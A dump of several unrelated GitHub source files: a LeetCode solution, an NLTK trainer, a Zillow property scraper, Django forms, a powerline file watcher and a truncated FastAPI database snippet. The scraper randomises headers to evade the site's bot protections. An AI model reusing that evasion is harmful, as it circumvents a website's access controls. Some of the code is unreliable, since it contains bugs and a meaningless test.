中选择一些元素(技能集合),这些技能集合的并集等于\nreqSkills,要求选的元素个数尽量少。\n\n把 people[i] 看成物品(集合),reqSkills 看成背包容量(目标集合),本题就是一个\n集合版本的 0-1 背包问题\n\n将每个技能映射到不同二进制位上\n类似 0-1 背包,定义 dfs(i, j) 表示从前 i 个集合中选择一些集合,并集包含 j,至少\n需要选择的集合个数。\n\n分类讨论:\n* 不选第 i 个集合: dfs(i, j) = dfs(i - 1, j)\n* 选第 i 个集合:dfs(i, j) = dfs(i - 1, j \\ pepole[i]) + 1。j \\ pepole[i] 表示选\n 了第 i 个集合 people[i] 后, 就不需要包含 peole[i] 中任何元素了\n* 去最小值,即 dfs(i, j) = min(dfs(i - 1, j), dfs(i - 1, j \\ peple[i]) + 1)\n\n\"\"\"\n\n\nclass Solution:\n def smallestSufficientTeam(\n self, req_skills: List[str], people: List[List[str]]\n ) -> List[int]:\n sid = {s: i for i, s in enumerate(req_skills)} # 字符串映射到下标\n n = len(people)\n mask = [0] * n\n for i, skills in enumerate(people):\n for s in skills: # ��� skills 压缩成一个二进制数 mask[i]\n mask[i] |= 1 << sid[s]\n\n # dfs(i,j) 表示从前 i 个集合中选择一些集合,并集等于 j,需要选择的最小集合\n @cache\n def dfs(i: int, j: int) -> int:\n if j == 0:\n return 0 # 背包已装满\n if i < 0:\n return (1 << n) - 1 # 没法装满背包,返回全集,这样下面比较集合大小会取更小的\n res = dfs(i - 1, j) # 不选 mask[i]\n res2 = dfs(i - 1, j & ~mask[i]) | (1 << i) # 选 mask[i]\n return res if res.bit_count() < res2.bit_count() else res2\n\n res = dfs(n - 1, (1 << len(req_skills)) - 1)\n return [i for i in range(n) if (res >> i) & 1] # 所有在 res 中的下标\n\n\nclass TestSolution(unittest.TestCase):\n def setUp(self):\n self.sl = Solution()\n\n def test_sl(self):\n self.assertEqual(\n self.sl,\n None,\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"shiyang07ca/lab","sub_path":"algo/oj/leetcode/algo/01125/sl.py","file_name":"sl.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2693835362","text":"#!/usr/bin/env python\nimport nltk\nimport yaml\nimport pickle\nfrom nltk.classify import MaxentClassifier\n\n__author__ = 'Shaun Rong'\n__version__ = '0.1'\n__maintainer__ = 'Shaun Rong'\n__email__ = 'rongzq08@gmail.com'\n\n\nif __name__ == '__main__':\n with open('ioput_train_db.yaml', 'r') as f:\n train_db = yaml.load(f)\n train_set = []\n\n for key, value in train_db.iteritems():\n for i in value:\n feats = []\n sentences = nltk.sent_tokenize(i)\n for sen in sentences:\n feats = feats + nltk.word_tokenize(sen)\n\n feats = [w.lower() for w in feats]\n feats = dict([(w, True) for w in feats])\n train_set.append((feats, key))\n\n classifier = MaxentClassifier.train(train_set)\n\n with open('ioput_maxent_classifier.pickle', 'wb') as f:\n pickle.dump(classifier, f)\n\n","repo_name":"shaunrong/RParser","sub_path":"train_ioput_maxent_unigram.py","file_name":"train_ioput_maxent_unigram.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"69880756411","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nDummy Downloader.\n\"\"\"\n\nimport os\nimport time\nimport random\n\nfrom guicavane.Paths import HOSTS_IMAGES_DIR, SEP\nfrom Base import BaseDownloader\n\nclass Dummy(BaseDownloader):\n \"\"\" Dummy's Downloader. \"\"\"\n\n name = \"Dummy\"\n icon_path = HOSTS_IMAGES_DIR + SEP + \"dummy.png\"\n dummy_file = \"/absolute/path/to/a/real/file\"\n\n def __init__(self, gui_manager, url):\n BaseDownloader.__init__(self, None, gui_manager, url)\n\n self.gui_manager = gui_manager\n\n self.file_size = 100 * 1024 * 1024\n self._downloaded_size = 0\n\n @property\n def downloaded_size(self):\n return self._downloaded_size\n\n def process_url(self, play_callback, file_path):\n if not os.path.exists(file_path):\n os.symlink(self.dummy_file, file_path)\n\n self.gui_manager.background_task(self.simulate_download,\n self.on_download_finish, unfreeze=False)\n\n play_callback()\n\n def simulate_download(self):\n while self.downloaded_size < self.file_size:\n time.sleep(1)\n speed = 300 + (100 * random.random())\n self._downloaded_size += speed * 1024\n\n def on_download_finish(self, *args):\n pass\n","repo_name":"j0hn/guicavane","sub_path":"guicavane/Downloaders/Dummy.py","file_name":"Dummy.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"78"} +{"seq_id":"40969568232","text":"import pymysql\nimport re\nimport sys\nfrom io import StringIO\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport requests\nimport urllib\nfrom time import sleep\nfrom datetime import datetime\nimport random\nimport pyzillow\nfrom pyzillow.pyzillow import ZillowWrapper, GetDeepSearchResults, GetUpdatedPropertyDetails\nfrom time import sleep\nimport logging\nfrom settings import *\n\n# Import Project Modules ---------------------------------------------\nimport sql_functions as m1\nimport bot_protections as m2\n\nprint(password)\n# Instantiate Connect to MySQL ---------------------------------------\nmydb = pymysql.connect(\n host='localhost',\n user= user,\n passwd= password,\n database='upwork_test_db')\n\n# Functions -----------------------------------------------------------\n\n\n\n# GET BEAUTIFUL SOUP OBJECT OF PAGE OR TOTAL NUMBER OF PAGES TO SCRAPE--------------\ndef get_bsObj_main_page(city, state, page, pprint=False):\n '''\n Purpose: Obtain the bsObj for the main page where the list of houses are located.\n Input: Seach criteria includes the city and state where the house is located\n The purpose of the page input is to iterate each of the pages to scrape\n more housing data.\n **Note: We should expand the search criteria to include other limiting fields.\n Output: The user may chose to output the max page number from the page\n or return the bsObj of the page '''\n # Define url object\n url = 'https://www.zillow.com/homes/{},-{}_rb/'.format(city, state)\n\n # Generate Random Header (serves to fake bot protections)\n random_header = m2.generate_ran_headers()\n\n # Generate the url request with zillow headings\n Content = urllib.request.Request(url, headers= random_header)\n\n html = urlopen(Content)\n # Create Beautifulsoup object\n bsObj = BeautifulSoup(html.read(), 'lxml')\n\n # Logging\n if pprint==True:\n print(bsObj.prettify())\n\n # Return bsObj\n return bsObj, url\n\n\ndef get_max_page_num(bsObj):\n '''\n Purpose: Get the max page number from the main page\n Input: The bsObj from the main page.\n Output: Int value of last page'''\n\n # Get Tag Containing totalPages value\n links_pages = str(bsObj.find('script', {'data-zrr-shared-data-key':'mobileSearchPageStore'}))\n\n #print('Bs Object', bsObj)\n #print('Page Links', links_pages)\n\n # Use Regex Statement to Obtain phrase \"total_Pages:##\"\n '''Assuming totalPages exists on the first page, re_search will\n return a string that looks like 'totalPages\":18'\n '''\n regex = re.compile('totalPages\":[0-9][0-9]')\n\n # Try to get total page numbers\n try:\n re_search = re.findall(regex, links_pages)[0]\n # Get Number after colon from re_search result return ['##']\n regex_2 = re.compile('[0-9][0-9]')\n re_search = re.findall(regex_2, re_search)\n # Result\n return int(re_search[0])\n\n except IndexError as err:\n logging.info('max page number generated an error')\n logging.warning(err)\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_max_page_num', 'url',\n 'Attempt to obtain max page number failed. Returning max page num = 20', str(err))\n return 20\n\n except TypeError as err:\n logging.info('max page number generated an error')\n logging.warning(err)\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_max_page_num', 'url',\n 'Attempt to obtain max page number failed. Returning max page num = 20', str(err))\n return 20\n\n# GET LIST OF HOMES --------------------------------------------------\ndef get_list_homes(bsObj, url):\n '''Descr: Obtain the photo-card object for each of the homes listed\n on the main page. There is import information that can be\n scraped directly from the card like price, address, etc.\n\t'''\n\n try:\n photo_cards = bsObj.find('ul', {'class':'photo-cards'})\n list_homes = photo_cards.findAll('li')\n return list_homes\n except AttributeError as err:\n logging.warning('Attribute error generated from find property-photo-card request. Possibly due to bad tag request or website scraper protections')\n logging.warning(err)\n logging.info('Sleep for 30 seconds')\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_list_homes', url,\n 'Error possible due to website scraper protections', str(err))\n # Sleep for 30 Seconds and Try Again\n sleep(30)\n try:\n logging.info('Trying a different approach')\n photo_cards = bsObj.find('ul', {'class':'photo-cards photo-cards_wow'})\n list_homes = photo_cards.findAll('li')\n return list_homes\n except AttributeError as err:\n logging.warning('Unable to retreive the photocard tag')\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_list_homes', url,\n 'Second attempt failed to retrieve property-photo-card', str(err))\n\n\n# GET ZIP CODE----------------------------------------------------------\ndef clean_house_tags_4_address_zipcode_scrape(home_data):\n # Limit to specific tags contianing this phrase\n\tif '<li><script type=\"application/ld+json\">' in str(home_data):\n\t\thome_data = str(home_data)\n\t\tregex = re.compile('name.*\",\"floor')\n\t\tre_search = re.search(regex, home_data)\n\t\tre_group = re_search.group()\n\t\tremove_front = re_group.split(':')[1]\n\t\tremove_back = remove_front.split('floor')[0]\n\t\tremove_punct = remove_back.replace('\"', '')\n\t\t# return clean tag containing address & zipcode\n\t\treturn remove_punct\n\ndef get_zip_code(clean_house_tag):\n\t# Search for zipcode\n\tregex_zip_code = re.compile('[0-9]{5},')\n\tre_search_zip = re.search(regex_zip_code, clean_house_tag)\n\tre_group_zip = re_search_zip.group()\n\tzip_code = re_group_zip.split(',')[0]\n\t# Return Zip Code\n\treturn zip_code\n\n# GET ADDRESS ----------------------------------------------------------\ndef get_address(clean_house_tag):\n\t''' The first comma follows the street name and is followed by the city.\n\t therefore, we should be able to split on the comma and take the string\n\t\tvalue in the index = 0 position to be the address'''\n\taddress = clean_house_tag.split(',')[0]\n\treturn address\n\n\n\n# GET URL ---------------------------------------------------------------------\ndef get_url(home_data):\n\tif 'url' in str(home_data):\n\n\t\tregex_href = re.compile('/homedetails/.+_zpid/\"}')\n\t\tre_search = re.search(regex_href, str(home_data))\n\t\thref = re_search.group().split('\"')[0]\n\t\treturn href\n\n\n\n# GET SCHOOL RANKINGS ----------------------------------------------------------\n\ndef get_school_ranking(url):\n url_full = 'https://www.zillow.com' + url\n Content = urllib.request.Request(url_full, headers={\n 'authority': 'www.zillow.com',\n 'method': 'GET',\n 'path': '/homes/',\n 'scheme': 'https',\n 'user-agent':\n ''''Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6)\n AppleWebKit/537.36 (KHTML, like Gecko)\n Chrome/61.0.3163.100 Safari/537.36'''})\n\n html = urlopen(Content)\n # Create Beautifulsoup object\n bsObj = BeautifulSoup(html.read(), 'lxml')\n\n # Try to Get School Ratings\n try:\n # Get Tags Associated with Shools\n school_list = bsObj.findAll('ul', {'class':'ds-nearby-schools-list'})\n\n # Find All Span Tags (these tags include the ratings)\n span = school_list[0].findAll('span')\n\n # Create List of School values\n list_ratings = [span[0].text, span[5].test, span[10].text]\n\n # Return values\n return list_ratings\n\n except IndexError as err:\n logging.warning('\\nSchool list => {}'.format(school_list))\n logging.warning('School ratings function generated an error => {}'.format(err))\n logging.warning('Url that generated the error => {}'.format(url_full))\n logging.warning(err)\n logging.warning('Trying a different technique\\n')\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_school_rankings', url,\n 'Error possibly due to missing data point', str(err))\n # return list of all zeros\n return [0, 0, 0]\n except ValueError as err:\n logging.warning('Get school ranking function generated and error => {}'.format(err))\n logging.warning('Returning 0,0,0')\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_school_rankings', url,\n 'Second attempt to retrieve school rankings', str(err))\n # return list of all zeros\n return [0, 0, 0]\n\n\n\ndef get_sale_asking_price(home, url):\n '''\n Purpose:\tGet the asking price for the house from the photo tag\n home:\t\tThe input value is the individual home tag\n url: used for logging\n This function sits within the \"for home in list_homes\" loop.\n Output:\t\tInteger value for asking price\n '''\n # Test if we can find the article tag\n\n try:\n list_price = home.find('div', {'class':'list-card-price'})\\\n .text.replace('$','').replace(',','')\n\n # Return asking price as an integer\n return int(list_price)\n\n # Except an attribute error where no tag is found\n except AttributeError as err:\n logging.warning('Get asking price generated an error => {}'.format(err))\n logging.warning('Returning asking price => ${}'.format('0'))\n # Insert warning into database\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_sale_asking_price', url,\n 'Value likely not found. Returning 0', str(err))\n\n return 0\n\n # Except ValueError - some values look like this 'Est. 166283'\n except ValueError as err:\n logging.warning('Get asking price generated an error => {}'.format(err))\n logging.warning('Try removing text in asking price')\n m1.sql_insert_warning_logs(mydb, 'module_1', 'get_sale_asking_price', url,\n 'Value likely not found. Returning 0', str(err))\n\n try:\n list_price_new = list_price.replace('Est.','').replace('+','').replace('++','')\\\n .replace('--','')\n if list_price_new != None:\n logging.info('Asking price scraped successfully')\n return int(list_price)\n else:\n logging.warning('Unable to obtain asking price. Returning $0')\n return 0\n\n except ValueError as err:\n logging.warning('Unable to clean asking price. Returning $0')\n return 0\n\n\n\ndef main_get_home_data(city, state, bsObj, url):\n\n\n # Get Max Page Number\n max_page_num = get_max_page_num(bsObj)\n\n # Iterate Over Pages (max_page_num because its up to but not including)\n for page_num in range(1, max_page_num + 1):\n\n # User Info\n print('Scraping page {} of {} -----------------------------------------'\\\n .format(page_num, max_page_num))\n\n # Generate Datetime Object\n pull_date = datetime.today().date()\n\n # Get Beautiful Soup Object of Page N that contain links to each home listing\n bsObj = get_bsObj_main_page(city, state, page_num)\n\n # Get List of Houses (Photo-cards) for each page)\n list_homes = get_list_homes(bsObj, url)\n\n # Count Homes Scraped Obj\n count_homes_scraped = 0\n\n # Loop over home tags and scrape data --------------------------------\n if list_homes:\n\n for home in list_homes:\n\n # Get Tag Containing Address & Zip Code\n clean_house_tags = clean_house_tags_4_address_zipcode_scrape(home)\n\n # Function may return null obj. Pass if None.\n if not clean_house_tags:\n logging.info('No house tags found')\n\n else:\n # Get Url\n url = get_url(home)\n\n # Get Home Details -------------------------------------------\n\n # Get Asking Price\n asking_price = get_sale_asking_price(home, url)\n\n # Num home object\n total_homes_on_page = len(list_homes)\n\n # Get Zipcode\n zip_code = get_zip_code(clean_house_tags)\n\n # Get Address\n address = get_address(clean_house_tags)\n\n # Insert Location\n val_addresses = [address, state, zip_code, city, pull_date, url]\n m1.sql_insert_function_addresses(mydb, val_addresses)\n\n # Get Zillow Data-------------------- ------------------------------\n val_zillow_api_data = m3.get_house_data_zillow_api(address, zip_code,\n pull_date, asking_price, url)\n m1.sql_insert_function_zillow_api_data(mydb, val_zillow_api_data)\n\n # Get School Ranking Data ------------------------------------------\n school_rankings = get_school_ranking(url)\n m1.sql_insert_function_schools(mydb, school_rankings, address,\n pull_date, url)\n\n # Increment Num homes\n print('{} of {} home data scraped'.format(\n count_homes_scraped, total_homes_on_page))\n count_homes_scraped += 1\n\n\n # Generate Random Sleep Period\n print('Data successfully scraped for page {}'.format(page_num))\n sleep_seconds = random.randint(5, 10)\n print('Sleeping for {} seconds\\n'.format(sleep_seconds))\n sleep(sleep_seconds)\n\n # No Homes Found\n else:\n logging.warning('No homes found in search. Ending scraper program')\n\n return None\n\n","repo_name":"ccirelli2/property_scraper","sub_path":"scraper_functions.py","file_name":"scraper_functions.py","file_ext":"py","file_size_in_byte":14023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16433978629","text":"from django import forms\n\nfrom .models import Comment, Post\n\n\nclass PostForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ('group', 'text', 'image')\n help_texts = {\n 'group': '* Выберите группу из списка',\n 'text': '* Поле с текстом поста обязательно для заполнения',\n 'image': '* Выберите картинку для добавления к посту'\n }\n\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ('text',)\n help_texts = {\n 'text': '* Поле для текста вашего комментария',\n }\n","repo_name":"Hash466/yatube","sub_path":"yatube/posts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15548535606","text":"import os\nimport subprocess\n\nENV_PATH = os.path.dirname(__file__)\n\n\ndef list_gpus():\n \"\"\"Return a list of GPUs\n Adapted from [MXNet](https://github.com/apache/incubator-mxnet)\n\n Returns\n -------\n list of int:\n If there are n GPUs, then return a list [0,1,...,n-1]. Otherwise returns\n [].\n \"\"\"\n result = ''\n nvidia_smi = ['nvidia-smi', '/usr/bin/nvidia-smi',\n '/usr/local/nvidia/bin/nvidia-smi']\n for cmd in nvidia_smi:\n try:\n result = subprocess.check_output(\n [cmd, \"-L\"], universal_newlines=True)\n break\n except Exception:\n pass\n else:\n return range(0)\n return range(len([i for i in result.split('\\n') if 'GPU' in i]))\n\n\ndef get_git_hash():\n try:\n GIT_HEAD_PATH = os.path.join(ENV_PATH, '..', '.git')\n line = open(os.path.join(GIT_HEAD_PATH, 'HEAD')\n ).readline().strip()\n if line[:4] == 'ref:':\n ref = line[5:]\n return open(os.path.join(GIT_HEAD_PATH, ref)).readline().strip()[:7]\n return line[:7]\n except FileNotFoundError:\n return 'custom'\n","repo_name":"marszed1997/MobulaOP","sub_path":"mobula/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"73872820093","text":"# vim:fileencoding=UTF-8:noet\nfrom __future__ import unicode_literals, absolute_import\n\n__copyright__ = '2013, Kovid Goyal <kovid at kovidgoyal.net>'\n__docformat__ = 'restructuredtext en'\n\nimport os\nimport sys\nimport errno\nfrom time import sleep\nfrom threading import RLock\n\nfrom powerline.lib.monotonic import monotonic\n\nclass INotifyError(Exception):\n\tpass\n\n\nclass INotifyWatch(object):\n\n\tis_stat_based = False\n\n\t# See <sys/inotify.h> for the flags defined below\n\n\t# Supported events suitable for MASK parameter of INOTIFY_ADD_WATCH.\n\tACCESS = 0x00000001 # File was accessed.\n\tMODIFY = 0x00000002 # File was modified.\n\tATTRIB = 0x00000004 # Metadata changed.\n\tCLOSE_WRITE = 0x00000008 # Writtable file was closed.\n\tCLOSE_NOWRITE = 0x00000010 # Unwrittable file closed.\n\tOPEN = 0x00000020 # File was opened.\n\tMOVED_FROM = 0x00000040 # File was moved from X.\n\tMOVED_TO = 0x00000080 # File was moved to Y.\n\tCREATE = 0x00000100 # Subfile was created.\n\tDELETE = 0x00000200 # Subfile was deleted.\n\tDELETE_SELF = 0x00000400 # Self was deleted.\n\tMOVE_SELF = 0x00000800 # Self was moved.\n\n\t# Events sent by the kernel.\n\tUNMOUNT = 0x00002000 # Backing fs was unmounted.\n\tQ_OVERFLOW = 0x00004000 # Event queued overflowed.\n\tIGNORED = 0x00008000 # File was ignored.\n\n\t# Helper events.\n\tCLOSE = (CLOSE_WRITE | CLOSE_NOWRITE) # Close.\n\tMOVE = (MOVED_FROM | MOVED_TO) # Moves.\n\n\t# Special flags.\n\tONLYDIR = 0x01000000 # Only watch the path if it is a directory.\n\tDONT_FOLLOW = 0x02000000 # Do not follow a sym link.\n\tEXCL_UNLINK = 0x04000000 # Exclude events on unlinked objects.\n\tMASK_ADD = 0x20000000 # Add to the mask of an already existing watch.\n\tISDIR = 0x40000000 # Event occurred against dir.\n\tONESHOT = 0x80000000 # Only send event once.\n\n\t# All events which a program can wait on.\n\tALL_EVENTS = (ACCESS | MODIFY | ATTRIB | CLOSE_WRITE | CLOSE_NOWRITE |\n\t\t\t\t\tOPEN | MOVED_FROM | MOVED_TO | CREATE | DELETE |\n\t\t\t\t\tDELETE_SELF | MOVE_SELF)\n\n\t# See <bits/inotify.h>\n\tCLOEXEC = 0x80000\n\tNONBLOCK = 0x800\n\n\tdef __init__(self, inotify_fd, add_watch, rm_watch, read, expire_time=10):\n\t\timport ctypes\n\t\timport struct\n\t\tself._add_watch, self._rm_watch = add_watch, rm_watch\n\t\tself._read = read\n\t\t# We keep a reference to os to prevent it from being deleted\n\t\t# during interpreter shutdown, which would lead to errors in the\n\t\t# __del__ method\n\t\tself.os = os\n\t\tself.watches = {}\n\t\tself.modified = {}\n\t\tself.last_query = {}\n\t\tself._buf = ctypes.create_string_buffer(5000)\n\t\tself.fenc = sys.getfilesystemencoding() or 'utf-8'\n\t\tself.hdr = struct.Struct(b'iIII')\n\t\tif self.fenc == 'ascii':\n\t\t\tself.fenc = 'utf-8'\n\t\tself.lock = RLock()\n\t\tself.expire_time = expire_time * 60\n\t\tself._inotify_fd = inotify_fd\n\n\tdef handle_error(self):\n\t\timport ctypes\n\t\teno = ctypes.get_errno()\n\t\traise OSError(eno, self.os.strerror(eno))\n\n\tdef __del__(self):\n\t\t# This method can be called during interpreter shutdown, which means we\n\t\t# must do the absolute minimum here. Note that there could be running\n\t\t# daemon threads that are trying to call other methods on this object.\n\t\ttry:\n\t\t\tself.os.close(self._inotify_fd)\n\t\texcept (AttributeError, TypeError):\n\t\t\tpass\n\n\tdef read(self):\n\t\timport ctypes\n\t\tbuf = []\n\t\twhile True:\n\t\t\tnum = self._read(self._inotify_fd, self._buf, len(self._buf))\n\t\t\tif num == 0:\n\t\t\t\tbreak\n\t\t\tif num < 0:\n\t\t\t\ten = ctypes.get_errno()\n\t\t\t\tif en == errno.EAGAIN:\n\t\t\t\t\tbreak # No more data\n\t\t\t\tif en == errno.EINTR:\n\t\t\t\t\tcontinue # Interrupted, try again\n\t\t\t\traise OSError(en, self.os.strerror(en))\n\t\t\tbuf.append(self._buf.raw[:num])\n\t\traw = b''.join(buf)\n\t\tpos = 0\n\t\tlraw = len(raw)\n\t\twhile lraw - pos >= self.hdr.size:\n\t\t\twd, mask, cookie, name_len = self.hdr.unpack_from(raw, pos)\n\t\t\t# We dont care about names as we only watch files\n\t\t\tpos += self.hdr.size + name_len\n\t\t\tself.process_event(wd, mask, cookie)\n\n\tdef expire_watches(self):\n\t\tnow = monotonic()\n\t\tfor path, last_query in tuple(self.last_query.items()):\n\t\t\tif last_query - now > self.expire_time:\n\t\t\t\tself.unwatch(path)\n\n\tdef process_event(self, wd, mask, cookie):\n\t\tfor path, num in tuple(self.watches.items()):\n\t\t\tif num == wd:\n\t\t\t\tif mask & self.IGNORED:\n\t\t\t\t\tself.watches.pop(path, None)\n\t\t\t\t\tself.modified.pop(path, None)\n\t\t\t\t\tself.last_query.pop(path, None)\n\t\t\t\telse:\n\t\t\t\t\tself.modified[path] = True\n\n\tdef unwatch(self, path):\n\t\t''' Remove the watch for path. Raises an OSError if removing the watch\n\t\tfails for some reason. '''\n\t\tpath = self.os.path.abspath(path)\n\t\twith self.lock:\n\t\t\tself.modified.pop(path, None)\n\t\t\tself.last_query.pop(path, None)\n\t\t\twd = self.watches.pop(path, None)\n\t\t\tif wd is not None:\n\t\t\t\tif self._rm_watch(self._inotify_fd, wd) != 0:\n\t\t\t\t\tself.handle_error()\n\n\tdef watch(self, path):\n\t\t''' Register a watch for the file named path. Raises an OSError if path\n\t\tdoes not exist. '''\n\t\timport ctypes\n\t\tpath = self.os.path.abspath(path)\n\t\twith self.lock:\n\t\t\tif path not in self.watches:\n\t\t\t\tbpath = path if isinstance(path, bytes) else path.encode(self.fenc)\n\t\t\t\twd = self._add_watch(self._inotify_fd, ctypes.c_char_p(bpath),\n\t\t\t\t\t\tself.MODIFY | self.ATTRIB | self.MOVE_SELF | self.DELETE_SELF)\n\t\t\t\tif wd == -1:\n\t\t\t\t\tself.handle_error()\n\t\t\t\tself.watches[path] = wd\n\t\t\t\tself.modified[path] = False\n\n\tdef __call__(self, path):\n\t\t''' Return True if path has been modified since the last call. Can\n\t\traise OSError if the path does not exist. '''\n\t\tpath = self.os.path.abspath(path)\n\t\twith self.lock:\n\t\t\tself.last_query[path] = monotonic()\n\t\t\tself.expire_watches()\n\t\t\tif path not in self.watches:\n\t\t\t\t# Try to re-add the watch, it will fail if the file does not\n\t\t\t\t# exist/you dont have permission\n\t\t\t\tself.watch(path)\n\t\t\t\treturn True\n\t\t\tself.read()\n\t\t\tif path not in self.modified:\n\t\t\t\t# An ignored event was received which means the path has been\n\t\t\t\t# automatically unwatched\n\t\t\t\treturn True\n\t\t\tans = self.modified[path]\n\t\t\tif ans:\n\t\t\t\tself.modified[path] = False\n\t\t\treturn ans\n\n\tdef close(self):\n\t\twith self.lock:\n\t\t\tfor path in tuple(self.watches):\n\t\t\t\ttry:\n\t\t\t\t\tself.unwatch(path)\n\t\t\t\texcept OSError:\n\t\t\t\t\tpass\n\t\t\tif hasattr(self, '_inotify_fd'):\n\t\t\t\tself.os.close(self._inotify_fd)\n\t\t\t\tdel self.os\n\t\t\t\tdel self._add_watch\n\t\t\t\tdel self._rm_watch\n\t\t\t\tdel self._inotify_fd\n\n\ndef get_inotify(expire_time=10):\n\t''' Initialize the inotify based file watcher '''\n\timport ctypes\n\tif not hasattr(ctypes, 'c_ssize_t'):\n\t\traise INotifyError('You need python >= 2.7 to use inotify')\n\tfrom ctypes.util import find_library\n\tname = find_library('c')\n\tif not name:\n\t\traise INotifyError('Cannot find C library')\n\tlibc = ctypes.CDLL(name, use_errno=True)\n\tfor function in (\"inotify_add_watch\", \"inotify_init1\", \"inotify_rm_watch\"):\n\t\tif not hasattr(libc, function):\n\t\t\traise INotifyError('libc is too old')\n\t# inotify_init1()\n\tprototype = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, use_errno=True)\n\tinit1 = prototype(('inotify_init1', libc), ((1, \"flags\", 0),))\n\n\t# inotify_add_watch()\n\tprototype = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, ctypes.c_char_p, ctypes.c_uint32, use_errno=True)\n\tadd_watch = prototype(('inotify_add_watch', libc), (\n\t\t(1, \"fd\"), (1, \"pathname\"), (1, \"mask\")), use_errno=True)\n\n\t# inotify_rm_watch()\n\tprototype = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int, ctypes.c_int, use_errno=True)\n\trm_watch = prototype(('inotify_rm_watch', libc), (\n\t\t(1, \"fd\"), (1, \"wd\")), use_errno=True)\n\n\t# read()\n\tprototype = ctypes.CFUNCTYPE(ctypes.c_ssize_t, ctypes.c_int, ctypes.c_void_p, ctypes.c_size_t, use_errno=True)\n\tread = prototype(('read', libc), (\n\t\t(1, \"fd\"), (1, \"buf\"), (1, \"count\")), use_errno=True)\n\n\tinotify_fd = init1(INotifyWatch.CLOEXEC | INotifyWatch.NONBLOCK)\n\tif inotify_fd == -1:\n\t\traise INotifyError(os.strerror(ctypes.get_errno()))\n\treturn INotifyWatch(inotify_fd, add_watch, rm_watch, read, expire_time=expire_time)\n\n\nclass StatWatch(object):\n\tis_stat_based = True\n\n\tdef __init__(self):\n\t\tself.watches = {}\n\t\tself.lock = RLock()\n\n\tdef watch(self, path):\n\t\tpath = os.path.abspath(path)\n\t\twith self.lock:\n\t\t\tself.watches[path] = os.path.getmtime(path)\n\n\tdef unwatch(self, path):\n\t\tpath = os.path.abspath(path)\n\t\twith self.lock:\n\t\t\tself.watches.pop(path, None)\n\n\tdef __call__(self, path):\n\t\tpath = os.path.abspath(path)\n\t\twith self.lock:\n\t\t\tif path not in self.watches:\n\t\t\t\tself.watches[path] = os.path.getmtime(path)\n\t\t\t\treturn True\n\t\t\tmtime = os.path.getmtime(path)\n\t\t\tif mtime != self.watches[path]:\n\t\t\t\tself.watches[path] = mtime\n\t\t\t\treturn True\n\t\t\treturn False\n\n\tdef close(self):\n\t\twith self.lock:\n\t\t\tself.watches.clear()\n\n\ndef create_file_watcher(use_stat=False, expire_time=10):\n\t'''\n\tCreate an object that can watch for changes to specified files. To use:\n\n\twatcher = create_file_watcher()\n\twatcher(path1) # Will return True if path1 has changed since the last time this was called. Always returns True the first time.\n\twatcher.unwatch(path1)\n\n\tUses inotify if available, otherwise tracks mtimes. expire_time is the\n\tnumber of minutes after the last query for a given path for the inotify\n\twatch for that path to be automatically removed. This conserves kernel\n\tresources.\n\t'''\n\tif use_stat:\n\t\treturn StatWatch()\n\ttry:\n\t\treturn get_inotify(expire_time=expire_time)\n\texcept INotifyError:\n\t\tpass\n\treturn StatWatch()\n\nif __name__ == '__main__':\n\twatcher = create_file_watcher()\n\tprint ('Using watcher: %s' % watcher.__class__.__name__)\n\tprint ('Watching %s, press Ctrl-C to quit' % sys.argv[-1])\n\twatcher.watch(sys.argv[-1])\n\ttry:\n\t\twhile True:\n\t\t\tif watcher(sys.argv[-1]):\n\t\t\t\tprint ('%s has changed' % sys.argv[-1])\n\t\t\tsleep(1)\n\texcept KeyboardInterrupt:\n\t\tpass\n\twatcher.close()\n","repo_name":"benedict-liang/vim-bash-files","sub_path":".vim/bundle/powerline/lib/file_watcher.py","file_name":"file_watcher.py","file_ext":"py","file_size_in_byte":9600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37545943354","text":"from fastapi import FastAPI\nfrom fastapi.responses import RedirectResponse\nimport uvicorn\nfrom fastapi import FastAPI, HTTPException, Request\nfrom fastapi.responses import RedirectResponse,HTMLResponse \n\nimport psycopg2\nimport json\n\n\n\nclass DatabaseCursor(object):\n \"\"\"https://stackoverflow.com/questions/32812463/setting-schema-for-all-queries-of-a-connection-in-psycopg2-getting-race-conditi\n https://stackoverflow.com/questions/1984325/explaining-pythons-enter-and-exit\n \"\"\"\n\n def __init__(self, conn_config_file):\n with open(conn_config_file) as config_file:\n self.conn_config = json.load(config_file)\n\n def __enter__(self):\n self.conn = psycopg2.connect(\n \"dbname='\"\n + self.conn_config[\"dbname\"]\n + \"' \"\n + \"user='\"\n + self.conn_config[\"user\"]\n + \"' \"\n + \"host='\"\n + self.conn_config[\"host\"]\n + \"' \"\n + \"password='\"\n + self.conn_config[\"password\"]\n + \"' \"\n + \"port=\"\n + self.conn_config[\"port\"]\n + \" \"\n )\n self.cur = 